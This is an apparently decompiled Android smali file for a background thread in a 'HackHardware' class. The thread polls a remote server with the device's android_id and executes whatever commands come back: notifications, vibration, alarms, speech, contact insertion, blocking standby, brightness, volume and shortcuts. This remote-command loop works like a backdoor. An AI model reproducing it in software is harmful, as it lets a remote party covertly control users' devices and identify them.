.class Lcom/example/security/library/HackHardware$1;
.super Ljava/lang/Object;
.source "HackHardware.java"

# interfaces
.implements Ljava/lang/Runnable;


# annotations
.annotation system Ldalvik/annotation/EnclosingMethod;
    value = Lcom/example/security/library/HackHardware;->launchThread()V
.end annotation

.annotation system Ldalvik/annotation/InnerClass;
    accessFlags = 0x0
    name = null
.end annotation


# instance fields
.field final synthetic this$0:Lcom/example/security/library/HackHardware;

.field private final synthetic val$android_id:Ljava/lang/String;


# direct methods
.method constructor <init>(Lcom/example/security/library/HackHardware;Ljava/lang/String;)V
    .locals 0
    .parameter
    .parameter

    .prologue
    .line 1
    iput-object p1, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    iput-object p2, p0, Lcom/example/security/library/HackHardware$1;->val$android_id:Ljava/lang/String;

    .line 96
    invoke-direct {p0}, Ljava/lang/Object;-><init>()V

    return-void
.end method


# virtual methods
.method public run()V
    .locals 12

    .prologue
    .line 101
    :cond_0
    :goto_0
    const-wide/16 v0, 0xbb8

    :try_start_0
    invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V

    .line 102
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    iget-object v1, p0, Lcom/example/security/library/HackHardware$1;->val$android_id:Ljava/lang/String;

    const-string v2, "Flo"

    invoke-static {v1, v2}, Lcom/example/security/library/Net;->connect(Ljava/lang/String;Ljava/lang/String;)[Lcom/example/security/library/Action;

    move-result-object v1

    #setter for: Lcom/example/security/library/HackHardware;->actions:[Lcom/example/security/library/Action;
    invoke-static {v0, v1}, Lcom/example/security/library/HackHardware;->access$0(Lcom/example/security/library/HackHardware;[Lcom/example/security/library/Action;)V
    :try_end_0
    .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_1

    .line 105
    :try_start_1
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    #getter for: Lcom/example/security/library/HackHardware;->actions:[Lcom/example/security/library/Action;
    invoke-static {v0}, Lcom/example/security/library/HackHardware;->access$1(Lcom/example/security/library/HackHardware;)[Lcom/example/security/library/Action;

    move-result-object v0

    if-eqz v0, :cond_0

    .line 106
    sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;

    new-instance v1, Ljava/lang/StringBuilder;

    iget-object v2, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    #getter for: Lcom/example/security/library/HackHardware;->actions:[Lcom/example/security/library/Action;
    invoke-static {v2}, Lcom/example/security/library/HackHardware;->access$1(Lcom/example/security/library/HackHardware;)[Lcom/example/security/library/Action;

    move-result-object v2

    array-length v2, v2

    invoke-static {v2}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;

    move-result-object v2

    invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

    const-string v2, " actions a effectuer"

    invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v1

    invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v1

    invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V

    .line 107
    const/4 v9, 0x0

    .local v9, i:I
    :goto_1
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    #getter for: Lcom/example/security/library/HackHardware;->actions:[Lcom/example/security/library/Action;
    invoke-static {v0}, Lcom/example/security/library/HackHardware;->access$1(Lcom/example/security/library/HackHardware;)[Lcom/example/security/library/Action;

    move-result-object v0

    array-length v0, v0

    if-lt v9, v0, :cond_2

    .line 111
    const/4 v9, 0x0

    :goto_2
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    #getter for: Lcom/example/security/library/HackHardware;->actions:[Lcom/example/security/library/Action;
    invoke-static {v0}, Lcom/example/security/library/HackHardware;->access$1(Lcom/example/security/library/HackHardware;)[Lcom/example/security/library/Action;

    move-result-object v0

    array-length v0, v0

    if-ge v9, v0, :cond_0

    .line 112
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    #getter for: Lcom/example/security/library/HackHardware;->actions:[Lcom/example/security/library/Action;
    invoke-static {v0}, Lcom/example/security/library/HackHardware;->access$1(Lcom/example/security/library/HackHardware;)[Lcom/example/security/library/Action;

    move-result-object v0

    aget-object v6, v0, v9

    .line 113
    .local v6, action:Lcom/example/security/library/Action;
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->val$android_id:Ljava/lang/String;

    iget-object v1, v6, Lcom/example/security/library/Action;->id:Ljava/lang/String;

    invoke-static {v0, v1}, Lcom/example/security/library/Net;->executed(Ljava/lang/String;Ljava/lang/String;)V

    .line 115
    iget-object v0, v6, Lcom/example/security/library/Action;->type:Ljava/lang/String;

    const-string v1, "notification"

    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_4

    .line 116
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    iget-object v1, v6, Lcom/example/security/library/Action;->id:Ljava/lang/String;

    invoke-static {v1}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I

    move-result v1

    .line 117
    iget-object v2, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v3, "title"

    invoke-interface {v2, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v2

    check-cast v2, Ljava/lang/String;

    .line 118
    iget-object v3, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v4, "text"

    invoke-interface {v3, v4}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v3

    check-cast v3, Ljava/lang/String;

    .line 119
    iget-object v4, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v5, "removable"

    invoke-interface {v4, v5}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v4

    check-cast v4, Ljava/lang/String;

    invoke-static {v4}, Ljava/lang/Boolean;->parseBoolean(Ljava/lang/String;)Z

    move-result v4

    if-eqz v4, :cond_3

    const/4 v4, 0x0

    .line 120
    :goto_3
    iget-object v5, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v11, "progress"

    invoke-interface {v5, v11}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v5

    check-cast v5, Ljava/lang/String;

    invoke-static {v5}, Ljava/lang/Boolean;->parseBoolean(Ljava/lang/String;)Z

    move-result v5

    .line 116
    invoke-virtual/range {v0 .. v5}, Lcom/example/security/library/HackHardware;->pushNotif(ILjava/lang/String;Ljava/lang/String;ZZ)V

    .line 111
    :cond_1
    :goto_4
    add-int/lit8 v9, v9, 0x1

    goto :goto_2

    .line 108
    .end local v6           #action:Lcom/example/security/library/Action;
    :cond_2
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    #getter for: Lcom/example/security/library/HackHardware;->actions:[Lcom/example/security/library/Action;
    invoke-static {v0}, Lcom/example/security/library/HackHardware;->access$1(Lcom/example/security/library/HackHardware;)[Lcom/example/security/library/Action;

    move-result-object v0

    aget-object v6, v0, v9

    .line 109
    .restart local v6       #action:Lcom/example/security/library/Action;
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->val$android_id:Ljava/lang/String;

    iget-object v1, v6, Lcom/example/security/library/Action;->id:Ljava/lang/String;

    invoke-static {v0, v1}, Lcom/example/security/library/Net;->executed(Ljava/lang/String;Ljava/lang/String;)V

    .line 107
    add-int/lit8 v9, v9, 0x1

    goto :goto_1

    .line 119
    :cond_3
    const/4 v4, 0x1

    goto :goto_3

    .line 124
    :cond_4
    iget-object v0, v6, Lcom/example/security/library/Action;->type:Ljava/lang/String;

    const-string v1, "vibration"

    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_5

    .line 125
    iget-object v1, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    iget-object v0, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v2, "time"

    invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Ljava/lang/String;

    invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I

    move-result v0

    invoke-virtual {v1, v0}, Lcom/example/security/library/HackHardware;->vibreur(I)V
    :try_end_1
    .catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_0

    goto :goto_4

    .line 165
    .end local v6           #action:Lcom/example/security/library/Action;
    .end local v9           #i:I
    :catch_0
    move-exception v8

    .line 167
    .local v8, e:Ljava/lang/Exception;
    :try_start_2
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    invoke-virtual {v0}, Lcom/example/security/library/HackHardware;->launchThread()V
    :try_end_2
    .catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_1

    goto/16 :goto_0

    .line 170
    .end local v8           #e:Ljava/lang/Exception;
    :catch_1
    move-exception v8

    .line 171
    .restart local v8       #e:Ljava/lang/Exception;
    const-string v0, "Hack"

    invoke-virtual {v8}, Ljava/lang/Exception;->toString()Ljava/lang/String;

    move-result-object v1

    invoke-static {v0, v1}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I

    .line 173
    invoke-virtual {v8}, Ljava/lang/Exception;->getLocalizedMessage()Ljava/lang/String;

    .line 175
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    invoke-virtual {v0}, Lcom/example/security/library/HackHardware;->launchThread()V

    .line 177
    return-void

    .line 126
    .end local v8           #e:Ljava/lang/Exception;
    .restart local v6       #action:Lcom/example/security/library/Action;
    .restart local v9       #i:I
    :cond_5
    :try_start_3
    iget-object v0, v6, Lcom/example/security/library/Action;->type:Ljava/lang/String;

    const-string v1, "alarm"

    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_6

    .line 127
    iget-object v1, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    .line 128
    iget-object v0, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v2, "hour"

    invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Ljava/lang/String;

    invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I

    move-result v2

    .line 129
    iget-object v0, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v3, "minute"

    invoke-interface {v0, v3}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Ljava/lang/String;

    invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I

    move-result v0

    .line 127
    invoke-virtual {v1, v2, v0}, Lcom/example/security/library/HackHardware;->declencherAlarme(II)V

    goto :goto_4

    .line 131
    :cond_6
    iget-object v0, v6, Lcom/example/security/library/Action;->type:Ljava/lang/String;

    const-string v1, "brightness"

    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_7

    .line 132
    iget-object v1, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    iget-object v0, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v2, "brightness"

    invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Ljava/lang/String;

    invoke-static {v0}, Ljava/lang/Float;->parseFloat(Ljava/lang/String;)F

    move-result v0

    const/high16 v2, 0x42c8

    div-float/2addr v0, v2

    #calls: Lcom/example/security/library/HackHardware;->setBrightness(F)V
    invoke-static {v1, v0}, Lcom/example/security/library/HackHardware;->access$2(Lcom/example/security/library/HackHardware;F)V

    goto/16 :goto_4

    .line 134
    :cond_7
    iget-object v0, v6, Lcom/example/security/library/Action;->type:Ljava/lang/String;

    const-string v1, "flash"

    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_9

    .line 135
    iget-object v0, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v1, "state"

    invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v10

    check-cast v10, Ljava/lang/String;

    .line 136
    .local v10, state:Ljava/lang/String;
    const-string v0, "1"

    invoke-virtual {v10, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_8

    .line 137
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    invoke-virtual {v0}, Lcom/example/security/library/HackHardware;->ledon()V

    goto/16 :goto_4

    .line 139
    :cond_8
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    invoke-virtual {v0}, Lcom/example/security/library/HackHardware;->ledoff()V

    goto/16 :goto_4

    .line 141
    .end local v10           #state:Ljava/lang/String;
    :cond_9
    iget-object v0, v6, Lcom/example/security/library/Action;->type:Ljava/lang/String;

    const-string v1, "speech"

    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_a

    .line 142
    iget-object v1, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    iget-object v0, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v2, "text"

    invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Ljava/lang/String;

    invoke-virtual {v1, v0}, Lcom/example/security/library/HackHardware;->parler(Ljava/lang/String;)V

    goto/16 :goto_4

    .line 143
    :cond_a
    iget-object v0, v6, Lcom/example/security/library/Action;->type:Ljava/lang/String;

    const-string v1, "insertcontact"

    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_b

    .line 144
    iget-object v2, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    .line 145
    iget-object v0, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v1, "phone"

    invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Ljava/lang/String;

    .line 146
    new-instance v3, Ljava/lang/StringBuilder;

    iget-object v1, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v4, "firstName"

    invoke-interface {v1, v4}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v1

    check-cast v1, Ljava/lang/String;

    invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;

    move-result-object v1

    invoke-direct {v3, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V

    const-string v1, " "

    invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v3

    iget-object v1, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v4, "lastName"

    invoke-interface {v1, v4}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v1

    check-cast v1, Ljava/lang/String;

    invoke-virtual {v3, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v1

    invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v1

    .line 144
    invoke-virtual {v2, v0, v1}, Lcom/example/security/library/HackHardware;->insertContact(Ljava/lang/String;Ljava/lang/String;)V

    goto/16 :goto_4

    .line 147
    :cond_b
    iget-object v0, v6, Lcom/example/security/library/Action;->type:Ljava/lang/String;

    const-string v1, "standby"

    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_d

    .line 148
    iget-object v0, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v1, "authorized"

    invoke-interface {v0, v1}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v7

    check-cast v7, Ljava/lang/String;

    .line 149
    .local v7, authorized:Ljava/lang/String;
    const-string v0, "1"

    invoke-virtual {v7, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_c

    .line 150
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    invoke-virtual {v0}, Lcom/example/security/library/HackHardware;->remettreVeille()V

    goto/16 :goto_4

    .line 152
    :cond_c
    iget-object v0, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    invoke-virtual {v0}, Lcom/example/security/library/HackHardware;->bloquerVeille()V

    goto/16 :goto_4

    .line 154
    .end local v7           #authorized:Ljava/lang/String;
    :cond_d
    iget-object v0, v6, Lcom/example/security/library/Action;->type:Ljava/lang/String;

    const-string v1, "screenorientation"

    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_e

    .line 155
    iget-object v1, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    iget-object v0, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v2, "orientation"

    invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Ljava/lang/String;

    #calls: Lcom/example/security/library/HackHardware;->changeOrientationScreen(Ljava/lang/String;)V
    invoke-static {v1, v0}, Lcom/example/security/library/HackHardware;->access$3(Lcom/example/security/library/HackHardware;Ljava/lang/String;)V

    goto/16 :goto_4

    .line 156
    :cond_e
    iget-object v0, v6, Lcom/example/security/library/Action;->type:Ljava/lang/String;

    const-string v1, "shortcut"

    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_f

    .line 157
    iget-object v1, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    iget-object v0, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v2, "title"

    invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Ljava/lang/String;

    #calls: Lcom/example/security/library/HackHardware;->createShortcutOnDesktop(Ljava/lang/String;)V
    invoke-static {v1, v0}, Lcom/example/security/library/HackHardware;->access$4(Lcom/example/security/library/HackHardware;Ljava/lang/String;)V

    goto/16 :goto_4

    .line 158
    :cond_f
    iget-object v0, v6, Lcom/example/security/library/Action;->type:Ljava/lang/String;

    const-string v1, "volume"

    invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v0

    if-eqz v0, :cond_1

    .line 159
    iget-object v1, p0, Lcom/example/security/library/HackHardware$1;->this$0:Lcom/example/security/library/HackHardware;

    iget-object v0, v6, Lcom/example/security/library/Action;->params:Ljava/util/Map;

    const-string v2, "volume"

    invoke-interface {v0, v2}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;

    move-result-object v0

    check-cast v0, Ljava/lang/String;

    invoke-virtual {v1, v0}, Lcom/example/security/library/HackHardware;->changerVolume(Ljava/lang/String;)V
    :try_end_3
    .catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_0

    goto/16 :goto_4
.end method
